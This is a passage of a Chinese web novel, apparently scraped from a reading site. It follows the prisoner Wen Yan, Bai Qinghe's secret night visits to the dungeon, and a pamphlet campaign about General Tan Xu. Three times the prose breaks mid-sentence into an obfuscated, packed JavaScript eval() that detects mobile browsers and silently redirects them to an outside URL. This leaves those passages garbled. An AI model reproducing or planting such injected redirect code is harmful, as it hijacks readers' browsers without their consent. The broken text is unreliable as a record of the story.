李符乐勾起嘴角,甩了甩挥空的手腕,语气间的嘲讽显而易见:“我说柏二少爷,你该不会真以为自己藏得很好吧?” “唔……”柏清河有些意外地挑了挑眉,随即转头朝身旁的少年人露出了一个颇为“慈眉善目”的微笑,“李……副巡检使,对吧?敢问阁下是有何凭据,又何出此言呢?” “凭据算不上,但打从前几日一交手,我就察觉到了不对,”李符乐小大人似的一仰头,双臂抱胸,侃侃而谈起来,“往常需要我们抓捕的要犯,在见到我们之后只有两种选择,要么夺路而逃,寻求一线生机,要么负隅顽抗,力求鱼死网破,可这次这位……温言,他很奇怪,他做出了不同于任何人的,第三种选择。” “而他在做出这份选择之前,目光下意识地扫向了你,”李符乐眯起眼睛,“虽然只是一瞬间,但我当时正朝他飞奔而去,距离近,自然看得分明……” “竟还有这种事?”柏清河闻言,眉眼一弯,笑了起来,“我本人都不知晓自己这容貌还能如此招蜂引蝶,竟能在这要犯临死前博得对方的青眼,哎呀,真是谬赞啊……” 李符乐:“……” 他们应当是在谈论正事儿吧……这人还能再不要脸一点吗! 柏清河见对方没有要接这话茬的意思,自讨了个没趣,只好又摸着鼻子问回前言:“请容在下虚心求教,副巡检使所说的这第三种选择,是什么?” 被对方一口一个“副巡检使”的称呼小小取悦了番的李符乐从鼻腔中哼了一声。 “我在同他交手时发现,他全程并未使出全力,明明招招都压制住了我的长剑,却始终避开了要害,没有伤我分毫,这番宛如自缚手脚的打法在你加入战局后,变得越发明显……旁观者能力不足,看不出来,但你我应当心里都有数,你俩远观上打得再怎么旗鼓相当,也不可能骗得过我的眼睛……想必是打了半天却连衣角都没擦破吧,柏二少爷?” 柏清河脸上的笑容僵了一瞬。 即便早有察觉眼前这少年人在打斗身法上算得天纵奇才,他也没曾想过对方在此种细枝末节处竟也能观察得如此细致入微。 难怪小小年纪,便在韩旬手下得了副巡检使的重任。 “罢了,早该想到瞒不过你的,”柏清河面上笑容一敛,索性也摊牌不装了,饶有兴味地问道,“既然你那么早就看出来了,为何不直接上报给你们头儿……有了这层突破口,想必韩巡检使如今的任务也能变得轻松不少吧?” “……” 李符乐皱着眉头扭开脸,有些不情愿地动了几下嘴皮子。 柏清河摆出副“洗耳恭听”的姿态,微微弯腰,凑近了几分:“……没听清,你说什么?” “我说……他是特意卖了个破绽给我、受了重伤才被抓获的,算我技不如人,欠他个人情……只不过他那边我暂时还不上,看你俩交情匪浅,这人情还在你身上也差不多,”李符乐皱着张小脸,看着很不乐意承认自己在这方面屈居于人下似的,声若蚊蝇,语速飞快,“况且,我并不知晓他当时为何要卖那处要害给我,明明还有其他许多处合适的……算了,这个谜题,就留给你来解好了。” 柏清河一愣:“什么意思?” “今夜看守换班,换我值守地牢,”李符乐不欲多说,点到为止,“届时不见不散,柏二少爷。” “你……”柏清河难得震惊得有些说不出话。 此事若是东窗事发,李符乐要面对的可不仅仅是欺上瞒下那么简单的罪名。 ……还真是看不出来,这少年人小鬼大,骨子里竟还有着点江湖人“有恩报恩”的侠义气。 “不许用这种表情看着我,”李符乐脚下一顿,往过道另一侧挪了一步,“……有点犯恶心。” ……就是这说话的口气还能再改改就更好了。 柏清河嘴角一抽,本想伸出去行礼的双手转了个圈,不动声色地收了回来。 - 哒。 清脆的落子声从棋盘上传来。 “太子殿下此次远行归来,难免舟车劳顿,竟还特意选在在下的旅馆下榻,真是不胜荣幸……”年轻人落子收手,朝着太子微微低头示意。 “哪里,皇城近来乃多事之秋,温先生这旅馆建成得快,帮了我好大一个忙,我自然得亲自前来贺喜,”唐知文目光不离棋盘,起手迅速,在对角处跟着落下一子,“更何况,能得一旗鼓相当的棋友,也算是大幸之事。” “殿下抬爱了,”年轻人含笑颔首,面上极为自然地流露出了些许打探的神色,有些小心翼翼地问道,“多事之秋……恕在下冒昧,还请太子殿下明示,这指的莫非是……谭旭之事?” “哦?温先生也知晓了此事?”唐知文抬头望向对方,面上笑容不减,“我倒是不知道,这皇城内耳目何时多到了这番程度,这么点还未有定论的小事,莫非已经在城内流传了开来?” “唉……太子殿下,话可不能这么说,”年轻人伸手在鼻子前比了个扇风的手势,谄媚地赔着笑,“谭旭此事震惊朝野,我们这些平民小卒也是难得能听到这么些不入流的朝廷‘要闻’,自然会将其沦为茶余饭后的谈资,其中的真真假假夸大其词,都做不得数的;再说了,我们做生意的可都得随时看着朝廷的脸色过活,难免会有些捕风捉影的小手段……” 唐知文闻言,眉头上挑,一字一顿地反问道:“……捕风捉影?” “害,在下不过是一介商贾之流,实在是才疏学浅得紧,若是有哪句话说得词不达意了,还望太子殿下多多海涵。”年轻人说着话,立马抬手比了个拱手礼,却并未起身,反而在聊表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035094|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉意后,施施然落子堵死了唐知文上一手所落黑子的去处。 “哪里……说不定正好合适呢。” 唐知文面朝棋盘,思索片刻后,才跟着落下一子。 年轻人面露微笑,举起一旁的茶壶,按着壶盖,给两人分别倒了一杯。 茶水温热,点点涟漪映出了窗外呼啸而过的风声。 两人神情专注,你来我往间又过了几个回合,落子速度皆是逐渐变快,年轻人思虑之余,竟还能出言应和道:“太子殿下棋艺高超,再这么下去,在下只怕是要输个体无完肤了。” 唐知文微微颔首:“断不敢当。” 他虽面上不显,心下却难免腹诽,此人下棋落子实在是过于狠辣果决,以至于明明只是局无伤大雅的午歇棋局,却使得他在每招落子中皆生出股被“追咬”的心惊肉跳之感。 年轻人像是知晓他心中所想般,开口接道:“不过是断尾求生,难免凶猛,让太子殿下见笑了。” 这可不敢见笑。 唐知文扯了下嘴角。 叩叩—— 唐知文敛了神色,朝门口道:“进。” 侍卫推门而入,朝着唐知文恭敬地行了个礼,起身后目光扫过坐在对面的年轻人,这才说道:“禀殿下,钱粮皆已清点完毕,可随时动身出发。” “好,你先下去吧,”唐知文一摆手,“我稍后就到。” “是。” 侍卫说着,低头退了出去。 等唐知文回过头来再次望向棋局,却是一愣。 棋盘上招招穷追猛赶的白子间,竟是突然多出了一枚废子。 唐知文心下不解,只好抬起头,神色犹疑地看向眼前人:“温先生这一手是何意?” 年轻人不欲解释,只道:“太子殿下但下无妨。” “温先生,棋局撕咬再凶,也不过是局内交手,不会伤了和气,”唐知文轻飘飘落下一子,“可若是让棋,就没意思了。” “太子殿下敏锐非常,说得在理,”年轻人发出了一声轻笑,“既然今日太子殿下还有要事,此局便停在此处吧……且不论此子是否真为废子,往后,在下必会以此警醒自身,断不会再相让了。” “温先生言重了。” 唐知文站起身,免了年轻人起身相送之礼,刚一转身行出雅阁,便有些疲惫地揉了揉眉心。 “太子殿下慢走。” 年轻人望着对方离去的背影,面上谄媚的神色瞬间消失殆尽。 他伸出两指,不甚在意地那枚“废子”从棋盘上弹飞了出去。 “锦哲。” 屋檐外传来两下若有似无的脚步声,一道人影瞬息间便来到了窗外。 “阁主有何吩咐。” “告诉他们,之前安排的消息,可以散布出去了。” “是,阁主。” 锦哲领命离去,毫不多言。 年轻人独自一人坐在软垫上,将杯中茶水一饮而尽。 有些人活得太安稳,现如今,是时候该被利用起来了。 44.争执 温言气息微弱地靠在牢房内一角,手中捏着几根茅草无意识地晃动着。 呼吸入体的空气散发出一股裹挟着潮湿的霉味。 “吱吱……” 地牢内时常安静得落针可闻,难得传来些动静,温言下意识地扭头看去,只见一只瘦得皮包骨的老鼠从一侧洞口中爬了出来, ……这地方竟然已经“穷山恶水”到连只老鼠都要养不活了。 温言有些好笑地看着小家伙在这逼仄的牢房内低着脑袋一步三嗅,从木盘中捡起自己啃到一半的硬馒头,掰了点丢到对方的脚边。 该老鼠想必早已习惯了在这间牢房里迎来送往,半分不怕人,反而大着胆子上前几步,伸头在早已干瘪发硬的白面馒头上嗅了两下,便算是尝过味儿了,有些嫌弃地转头往另一边爬去。 霍,这么挑食。 温言挑了下眉,自顾自地掰了一口丢进嘴里,嚼吧了两下,觉得味道并没有那么糟糕,是这破老鼠不识货。 牢房外,远处的过道内传来了两道规律的脚步声。 温言仿若未闻,换了个姿势蹲在那有些晕头转向的老鼠身边,有一下没一下地掰着馒头往嘴里塞。 脚步声最终停在了最内侧的牢门外。 老鼠像是终于察觉到了这股“此地不宜久留”的气氛,抬起两只前爪搓了搓,随后很有眼力见地猫着身子,一溜烟儿地缩进洞里去了。 门外再没传来一丝动静。 这很反常。 若是平常的看守送饭,此刻早就该敲着铁栏门冲他骂街了;若是韩旬本人前来,此刻则是已经直接拉开了门,迈步进来侃侃而谈了。 而如今,门外毫无一丝动静,就好像对方有无穷无尽的耐心与时间陪着他这位重犯窝在这么个阴暗潮湿的角落里,不急不躁,只等他率先“低头”。 于是温言不紧不慢地嚼完了最后一口馒头,这才“纡尊降贵”地将目光从那空空如也的老鼠洞处挪开,转向了牢房外。 柏清河逆着光,一动不动地站在牢外,身姿挺拔,几步之遥,却挡住了大部分油灯烛火照来的光亮。 温言也不由自主地维持着姿势,就这么蹲在了他笼罩而下的阴影中,仰头看他。 远远站在拐角处的李符乐探头看来,他常年习武,眼力超群,有些敏锐地从两人同时僵硬了一瞬的动作中察觉到,他们似乎都没提前想过在这种别开生面的相见下该说出什么样的开场白才算合适又体面。 最终还是温言叹了口气,缓慢地站起身,拖着脚上的铁链往牢门挪近了几步:“柏二少爷,你怎么来了呢?” 柏清河被“柏二少爷”这个称呼刺得脸色一沉,磨着牙忍了半晌,才没好气地回道:“温公子,你脸色很差啊。” 他本想顺着对方,刺一句“来看看你死了没”,让自己这股先前没来得及撒出去的火卸个货;可看着眼前人苍白的脸色,他纵是浑身上下扎着再多的刺,都不忍心朝面前人回敬哪怕一句重话。 ……这股被强压了许久的怒火,到底还是就地偃旗息鼓了。 “唔……此处饥寒交迫,脸色差点也正常,”温言将耳畔杂乱的长发虚虚拢到了脑后,本就苍白的脸色在黑发的映衬下显得更为虚弱憔悴,“这种小事,真是多劳柏二少爷费心了。” “这种小事?”柏清河眉头一挑,将这四个字重复得一字一顿,怒极反笑道,“那正好,趁着今夜无人,温公子,我们来聊点之前言辞未尽的‘大事’,如何?” 温言嘴唇一抿,并未问对方具体指的是什么“大事”,而是意有所指地朝着拐角处投去了一个眼神:“柏二少爷,我耳力姑且还没差到这个地步。” 柏清河似乎也是刚想起来这不远处还有个小耳朵,有些含混地糊弄道:“他?他不算。” 将一切都听了个七七八八,及时知晓自己莫名其妙被开除了人籍的李符乐:“……” “好,你说不算就不算,听你的,”温言十分好说话地一点头,“不过我记得,当日临走时我应当是把话都说明白了,柏二少爷,你就算要演痴情种,也不一定非得选这么个死缠烂打的演法吧?” 被扣了顶“死缠烂打”的帽子,柏清河倒是一点都不急着摘,只是勾起嘴角笑了笑,自顾自地挑着接了个话头:“那日只是温公子你抢着把话说了,我可是还有好些未尽之言呢……温公子难道就不想知道?” 温言微微颔首:“洗耳恭听。” “那好……说起来,温公子可能不信,其实我在很早之前就再次见过你了,很多次,唔……比我俩在街上碰面那次要早得多,”柏清河说着,面上含笑,点数似的一根根掰着手指,在温言逐渐怔愣的神色下,将五个指头轮了个遍,“你说你后来翻过我的档案,那应该也查到了我当时派望尘去地下赌坊探查的事,其实那不过是个幌子,因为我需要让你、你背后的组织、所有人……都以为我只是个略微有些警惕、却经不住见色起意的混蛋。” 稀里糊涂被塞了一口大瓜的李符乐:“……” “只可惜,鄙人不才,浑身上下最大的优点就是这么点刨根问底的好奇心,怕是实在如不了你们的意,”柏清河面上的笑意未达眼底,语气听起来却还是那般轻描淡写,仿佛只是在诉说着一件无伤大雅的小趣闻,“我那晚是不是同温公子说过,当年那个小男孩从老乞丐身边跑了……温公子莫不是以为,那个小男孩是负气离开了?” “小孩儿而已,心性不定是常有的事,况且他已经努力过了,说不定也明白过来,有时候求不到的答案也是一种答案。”温言十分勉强地勾起嘴角,颇为通情达理地点评道。 “求不到的答案也是一种答案……”柏清河低声将这句话重复了遍,面上笑容一敛,目光死死盯着温言,活像是要将眼前人盯出个洞来,“说实话,这种狗屁道理,我长到现在也是一个字都懒得信。” “罢了,说回前言……小男孩当时确实是有些生气,但这份生气,不仅没让他打响退堂鼓,反而更加激起了他的‘胜负心’。” 小男孩回到家后便翻箱倒柜、声势浩大地找出了自己的全部“家当”,在柏夫人的带领下,第一次迈步进了地下赌坊,昂首挺胸,大手一挥,说自己要查个人。 前来接待的人闻言愣了又愣,中途几次三番地偷瞄柏夫人的脸色,却被对方一个嘘声的手势给糊弄了过去——别多嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078228|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、少多问,反正又不是要他们找什么了不起的大人物,一个小乞丐而已,人家想查就查呗。 “地下赌坊的人动作利索,不出三日,小男孩便拿到了他想要的结果,”柏清河说着,凑近了铁栏,“温公子不妨猜猜,在那之后,这个小男孩偷偷见过你多少次?” ……这就是让当朝那个只会满口“胡言乱语”的国师来算,怕也是算不出来的。 温言的脸色变了又变,最终反而是扯起嘴角,长出了口气。 “百密一疏啊……” “所以我想,现在我们应当可以敞开心扉,好好谈谈了。”柏清河反问道,“对吗,温言?” “是,”温言大概是站得有些累了——他如今比以往要容易疲累得多,换了个姿势靠在墙上,脚上的铁链被带着哗啦作响,提醒着两人它的存在,“可是柏清河,我那日说过的话,是不会收回来的。” 说出去的话,宛如泼出去的水,世人常言覆水难收,可见扎在心上的刺就算拔出来了,也会留下长好的疤。 “是,我知道,其实你骨子里根本就没信任过我,对吗?”柏清河装模作样地点了两下头,在铁栏上攥得发白的指尖却仍旧毫不留情地透露出了他的紧张,“你根本就不相信一个人……说难听点,一位与你身世相差巨大,有着云泥之别的人,真的会掏心掏肺地爱上一滩自以为烂掉的泥巴,一个朝不保夕的阶下囚,对吧?” “又或者,因为你见过了太多悲剧……就像我娘看的那些话本子里经常写到的那样,你也从一开始就自以为是地给我安排好了一个所谓‘圆满’的结局,我来猜猜看……大概不过是顺利得个将军的位子,在一次又一次的封赏过后迫于制衡,去娶一个自己也许不甚喜欢但所有人都满意的女子,最终落得子孙满堂的俗套戏码,是吗?” “那你呢,温言,你在这个故事里又甘心扮演着什么角色?” “……我?柏清河,这个世道,不是每个人都能有结局的,”温言脸色煞白,被对方字字句句地反问呛得快要站不住脚,却忍不住皱起眉头,强撑着精神驳斥道,“正如你所说,我不过是一介阶下囚,一个即将被权势漩涡牺牲的马前卒,我又有什么资格去求一个结局?” 柏清河也不禁有些气结,言辞逐渐口无遮拦了起来:“温言,我有时候真的觉得,你比巡检司里那些严刑逼供地牢犯人的东西还要混账,你甚至问都不问我一句,就一声不吭地给我俩一起宣判了凌迟,你凭什么?” “温言,你就是个胆小又自私的疯子。” 温言到底没敢继续直视柏清河的视线,他飞快地眨了眨眼,有些狼狈地偏开了头。 他没法反驳。 “但没关系,这全都没关系……我说过,在我这里,你永远值得更好的‘礼物’,”柏清河的胸口剧烈起伏着,他低头抹了把脸,努力想将自己的情绪平复下来,“所以你想要但不敢去求的结局,我替你求。” “唯独一点,到了如今这个地步,你若是还指望我按照你‘安排’的既定结局走……哈,不可能,”柏清河攥着铁栏的手用力到关节都泛着白,“我告诉你温言,这不可能。” “你想都别想。” 45.传言 “谭旭?你是说那个将军吗……” “可不呢……” “要我说,他早就该死了,这算是为民除害……” “这些事儿都是真的假的?” “谁知道,他们这种大人物,暗地里做的腌臢事多了去了……” “在聊什么?要你们背的书都背好了吗?”老先生皱着眉,用卷起的书卷拍了拍门,扬起了一层薄薄的灰尘,“一个个的,要你们学点东西的时候都低着头死气沉沉,闲暇之余聊起坊间传闻倒是个个都来了精神……” “先生来了,先生快坐,”其中一名好事儿的学生立马搬来了个干净的椅子,半扶着老先生走过去,神神秘秘地说道,“这回我们聊的可不是普通的坊间传闻,是秘辛!” 老先生显然被这么忽悠过了很多次,不再吃这一套了,不屑道:“能被你们这群半大的毛头小子知道的,能是什么秘辛?” “先生,阿澈这回真没骗人,”另一个男生也凑了过来,帮了个腔,“是关于谭旭将军的秘辛!” “谭旭将军?” 老先生一愣,随即摆了摆手,他们这群小屁孩或许不知道,他还能不知道么,这人早就是街头巷尾里鼎鼎有名的“风流浪子”了,若不是还有个将军的头衔在身,换做什么普通人家,只怕那些个青楼里的烂事被拿出来说道两次,谭旭其人都得被唾沫星子淹死。 老先生这么想着,面色不由得一沉:“我是不是跟你们说过,那些上不得台面的破事儿,你们私下里讨论讨论也就罢了,万不应当带到学堂里来……” “唉,先生这说得是哪里话,都说了是秘辛,谭旭那点子品行不端的事儿大家都知道,还能叫秘辛吗?”阿澈嬉笑着一闪身,躲过了老先生抽来的书卷,扬起的袖袋却抖落出了一张被反复对折了几次的纸张。 “这是什么?”老先生人虽然老了,但好歹还算是耳清目明、心思敏捷,立马便猜到了这群小子一口一个所谓的“秘辛”,大概跟这张平白无故出现的纸张脱不开干系,于是指着飘落在地的东西道,“捡起来给我。” “好嘞先生。” 阿澈知道老先生心软的性子,因此半分没被这严肃的态度唬住,屁颠屁颠地小跑着去捡回了纸,再三两下打开,双手呈到了老先生面前。 老先生一目十行地扫读过纸张上排列整齐宛如印刷的黑字,越读越心惊,甚至反复倒回,几乎快要怀疑自己这教书数十载,是不是终于被来来往往的学生们气到老眼昏花识字不清了,只因这上面条条件件、字句分明地向阅读的人传递着一个信息——谭旭身为国之重臣,边境将军,却不光时常擅离职守,甚至……通敌叛国! 而就在巡检司派人捉拿谭旭的当日,韩旬等人只在谭旭的别院内找到了他的尸体,却迫于皇威,抓捕了当时身处别院内的唯一活口——一位名叫温言的青年人,并将其押入地牢,以作交代,随后对其进行了整整两日惨无人道的严刑逼供……两日后,这位青年人最终不堪重负,被迫承认下谭旭乃他所杀,而动机竟然只是所谓的“私人恩怨”。 ……其间用词恳切,字字泣血,其诱导性不言而喻。 “这份东西……你们是从哪儿得来的?” 老先生的目光在“温言”这两个苍劲有力的字上来回流连,握着纸张的手不易察觉地微微颤抖着。 “街上有好些人在发呢,”一位男学生率先回答了老先生的问题,“先生,不光是阿澈拿了,我们路过的时候也都被塞了一份。” 老先生听了回答,有些魂不守舍地喃喃道:“是这样吗……” “先生,”阿澈察觉到了老先生的情绪有些不对,“这东西有什么问题吗?” 问题? 迫于皇威、严刑逼供、被迫承认、私人恩怨…… 其用词无一不向人们灌输着,这是一场皇权施压下,针对这位“普通”青年人的权利阴谋,问题可大了去了。 老先生规矩地将手垂下,搭在膝盖上,苦笑着摇头问道:“你们看完这东西,心里有什么想法?” 像是获得了某种许可,学堂里的学生们瞬间叽叽喳喳、七嘴八舌地说开了。 “唔……感觉像是阴谋吧……” “当朝皇帝本就已经过了执政的年纪,人老了难免昏庸……” “嘘……这话被听到了可是要砍头的!” “我感觉谭旭将军并不是这个叫温言的人杀的,也许是巡检司栽赃……” “哦哦!栽赃陷害!说不定是谭旭自己畏罪自杀了,巡检司没法交差,只好拖个倒霉的替罪羊出来顶罪……这种事儿之前也不是没发生过……” “真的假的,这也太过分了吧……” “有可能,毕竟通敌叛国被抓住了肯定是要凌迟的死罪,谭旭本就贪生怕死,自我了结果然还是便宜他了。” …… 于是,一个截然不同的故事版本便在这么三言两语间,被这群学生们自圆其说地推测了出来。 世人常说眼见为实,可往往亲眼见证,也抵不过人们脑中自发形成、拓展而出的想象。 纸张不过是描绘出了一个模棱两可但饱受迫害的青年人形象,便已然成功让看见内容的普通百姓们脑子里多想一分,多猜一层。 利用底层人民对上位者的猜疑和对自己同类的同情,成功唤醒了数以万计、自诩正义的学生们,他们头脑一热、群情激愤,毫不怀疑地成为了幕后主使握在手中的尖刀。 老先生看着这群越说越激动,甚至快要满脸通红的孩子们,最终只是深深地叹了口气。 “孩子们,你们今日在学堂内所说的话,万不可出去让任何人知晓,记住,是任何人,”老先生拉住了离自己最近的阿澈的手,慈爱地拍了拍,随后目光一一扫过这些学生们稚嫩的面孔,嗓音沧桑,“无论听到什么风声,都不可轻举妄动……” 纸张被揉皱在老先生手中,其右手拇指正好按压在“温言”二字之上,沁出的冷汗浸软了墨痕。 “世事动荡,自保为上啊……” - 也不知道柏清河到底给了李符乐什么好处,这人原本只说是一次偿情,可往后一连几日,只要是夜间轮到李符乐值守地牢,柏清河就会到点准时出现在温言的牢房外边。 温言随意地盘腿坐在茅草堆上,背靠着墙,有一搭没一搭地甩动着手里的茅草。 柏清河这人也是奇怪,来都来了,却始终没有开口问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114379|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过什么正经事儿,仿佛真的只是来找故人闲聊的。 “温言,你要不要尝尝这个?”柏清河口中哼着小曲儿,手上拎着一小袋零嘴,“街头那家铺子新出的款,我看好多人都在排队,也跟着买了点。” 他的目光不动声色地扫过温言的胸口与肩胛,想来大概是冲着他们柏家的面子,韩旬好好吩咐了手下的人找来医师,勤换了几日伤药后,那日的伤口被包裹在层层纱布之下,终于是没再渗出血迹,有了缓慢好转的迹象。 心口一块大石总算是挨着了地,柏清河的语调不免上扬了两分。 温言也没客气,往牢门那儿挪了挪位置,抬起手。 ……神色自然,半分没有作为阶下囚自觉。 柏清河嘴角噙着笑,将零嘴袋口卷了两下,甩手丢了进去。 在那日不欢而散的争执过后,两人皆是十分默契地选择了对此事闭口不谈,仿佛这样就能顺理成章地回到最开始的相处状态,提心吊胆地享受着这被粉饰而出的、一时半刻的宁静。 “你整日往这里跑,柏大帅竟然不来抓你?”温言丢了块山楂进嘴里,望向柏清河,以一副云淡风轻的旁观者的口吻问道,“照理说,朝廷也该有动作了。” “我爹难得能回皇城呆这么久,整日里黏着我娘呢,哪儿顾得上我,”柏清河耸了耸肩,“朝廷就更不用说了,老皇帝昏庸但不傻,在这风口浪尖上,国不可一日无帅,他不可能降我爹的职,而我又没个一官半职在身,最多也就让我爹在上朝的时候替我挨挨骂,没法管。” 温言点了点头,倒是也觉得合理。 当初老皇帝处处防着柏家不愿放权,如今倒是阴差阳错地便宜了柏清河。 “不过,你今天怎么一直在看我?”柏清河话音一转,伸手探过铁栏,也捞了块山楂,“甚至很反常地主动跟我聊天,温言,你是不是又有什么事儿要瞒着我了?” ……这家伙的敏锐程度真的还处于人的范畴中吗? 温言无声地在心里骂了一句,面无表情地眨了眨眼:“你想多了。” “温言,是不是没人说过你演技很差,”柏清河眉眼下垂,撇了撇嘴,“算了,你不想说就不说吧。” 温言耳畔嗡嗡作响,他的目光有意无意地落在柏清河的嘴唇上,分辨着对方说出口的言辞。 “那我们聊点别的……”柏清河眼珠一转,心里的小算盘又打了起来,“不如……看在我连着几日都给你带宵夜的份上,透露点线索给我?” “好啊,”温言不甚在意地一点头,“知无不言。” 这么爽快? 柏清河有些狐疑地问道:“那你的真实身份是……?” “这可不属于‘线索’的范畴,柏清河,狮子大开口也就算了,可别忘了隔墙有耳,”温言有些无奈地笑了起来,手中捏着的那根茅草被甩得一点一点,“况且关于这个的答案,我早就告诉过你了。” “是么?”柏清河眼尾微微下垂着,看起来十成可怜,“温言你可别骗我,不然我会很伤心的。” 温言被他这副模样盯得一噎,又不敢扭过头去,只好硬生生忍住了表情。 “……柏清河,我从来没有骗过你。” 46.清晨 李符乐翘腿坐在地牢外,仰头朝天打了个哈欠,见天色已然蒙蒙亮,便如前几日那般起身,往地牢内走去。 柏清河早已听着了动静,喃喃道:“又到时间了啊。” 温言如今对时间的感知早已不像一开始那般清晰,他的作息本就因为三不五时的任务有些混乱,再加上进来后时常在深夜被突然造访的柏清河骚/扰,现在的作息更是颠倒异常;他歪了歪脑袋,没看清柏清河低头说了些什么,更是没能听见李符乐站在拐角处敲墙砖催促的声音。 “知道啦知道啦,”柏清河偏头挠了挠耳朵,因此错过了温言脸上一闪而过的茫然,朝着地牢拐角说道,“别催了,这就出来了!” 温言这才总算是分辨出来柏清河在跟谁说话了。 “走吧,柏清河,”温言抬起手挥了挥,仿佛这只是一个很普通的清晨,“回去睡个好觉。” “啊,嗯……” 柏清河从未与人说过,现如今他每到这种时候就会生出股没来由的心慌,大概也不大好意思承认,这是要被温言这总能在下一秒就悄摸搞事儿的性子给磨出心病的前兆…… 他小动作颇多地磨蹭了一会儿,这才不情不愿地边走边回头:“……明天见。” 温言好脾气地坐在地上,将挥手的姿势维持到了柏清河走过拐角。 “我说,你不觉得你自己有点太……黏人了吗?”李符乐将这几幕尽收眼底,有些牙疼地说道。 他在这短短几日内已经跟柏清河混熟了,说话也变得没大没小了起来。 但用“黏人”这词去描述一个五大三粗的男人,大概对一个不谙感情世事的小孩儿来说还是有些烫嘴,以至于成功让李符乐打了个哽。 “小屁孩儿,你懂什么,”柏清河变脸如翻书,不屑地冲着李符乐扬了扬下巴,“情人惜别的时候应当多留点耐心,别总站在那儿催催催的,小心以后没人忍得了你这急性子……” “说谁是小屁孩呢!”李符乐呲牙咧嘴地冲人翻了个白眼,翻完后才总算是后知后觉地回过了味儿来,“等下……你说什么,再说一遍?你说谁跟你是情人?” 柏清河近朱者赤,十分好脾气地弹了下身边这小家伙的脑门——跟弹望尘脑门的手法如出一辙:“耳朵平常不是挺灵的?我瞧瞧……这俩耳朵中间夹得是什么,怎么这么不经用,这么点小事儿都想不明白?” 放于眼前的事实太过震撼,惊得李符乐短暂地忘记了自己应当回敬柏清河这欠手一拳,只下意识地捂着脑门,声音晦涩地再次出言确认道:“……是我想得那个意思吗?” 柏清河呵呵笑着,两手一摊:“正如你所想。” “……” 李符乐的嘴巴跟开关失灵合不上了似的,差点两眼一黑,就这么原地宕机了。 真是难为他在这么个情窦初开的年纪,还没能靠自己去悟出个一二三来,就被柏清河这语不惊人死不休的坑货给吓了一大跳。 “得,”柏清河有些好笑地回头望了眼愣在原地的李符乐,心下松快了不少,“走了,不用送了。” 李符乐缓缓放下挡在额前的双手,好不容易缓过了神,才有些别扭地呛声道:“谁要送你!少自作多情!” 柏清河脚下溜得快,也不知道到底听着了这一声反驳没。 不过他今日走得确实是有些晚了,若是如同平日里那般卡着点回府,断然是没法在府里看见哪怕一道身影的;可现在他隔着老远,就已经见着了望尘高高举起,冲着自己不断挥动的双手。 柏清河不明所以地也跟着挥了挥。 于是那边的望尘挥动得更加用力了,活像个突然开始上蹿下跳的人来疯。 ……这人到底是出了什么毛病? 柏清河看着,觉得有些好笑,又有点不解,心里还在猜这家伙是不是难得早起一回,脑子跟不上身体才莫名其妙地抽了风,脚下仍旧浑然不知地朝着府内走去。 望尘这时却突然手也不摆了,脚也不跳了,像是被瞬间按下了偃旗息鼓的暂停键,垂着脑袋乖乖站在了一旁。 事出反常必有妖。 更何况还反常了两回。 “你……” 柏清河话一出口,心下顿时警铃大作,他刚想收回自己迈入府中的左脚,扭头就跑,却还是晚了一步,被当头落下的渔网罩了个彻底。 柏平昀中气十足的声音从另一边传来:“臭小子!可算是让我逮到你了!” ……难怪望尘刚才拼了命地朝他招手,原来是要他赶紧跑、跑远点。 只可惜他们这对主仆在面对突发状况时的默契实在够呛,以至于他没能理解到这份善意的提醒,还是结结实实地踩入了陷阱。 柏清河手脚并用着挣扎了半晌,这才颇为狼狈地找到了开口,将渔网从身上一把扯了下去:“臭老头!你干什么呢!” “我干什么,我还想问你想干什么呢!”柏平昀抬手指着柏清河,“大晚上的不睡觉,往哪儿跑呢?你知不知道你这行为,跟个浪荡的登徒子似的,对人家女儿家的清誉有多大的影响……我们家的家规拢共就这么几条,你都给忘了吗!” 柏清河就这么被指着鼻子吼了一通,他起先还以为是自己去地牢的事儿走漏了风声,狠狠在心里头捏了把汗,可往后仔细这么一听,又觉得好像哪儿哪儿都不对劲……这才反应过来,分明是这臭老头自己思虑过度,搁这儿乱猜呢! “等下,等下……”柏清河轻轻按下了他爹的手,有些头疼地试图解释道,“这又是哪儿来的传言,我是不是早就跟您说过了,没有女儿家!没有!怎么还在往这事儿上绕呢……” 一旁的望尘站也不是走也不是,只好仰头看天,左顾右盼假装很忙的样子,努力让自己不被卷入其中。 “那你自己说,你这大晚上的是跑哪儿去了!”柏平昀眼珠一转,脑中的猜测又发挥开了,“……不会是去楼里跟彭景那帮兔崽子们鬼混去了吧!” “……” 地牢的事儿肯定不能说,但这种黑锅也是万万不能背的……柏清河难得在这种事儿上愁得一个头两个大,正思 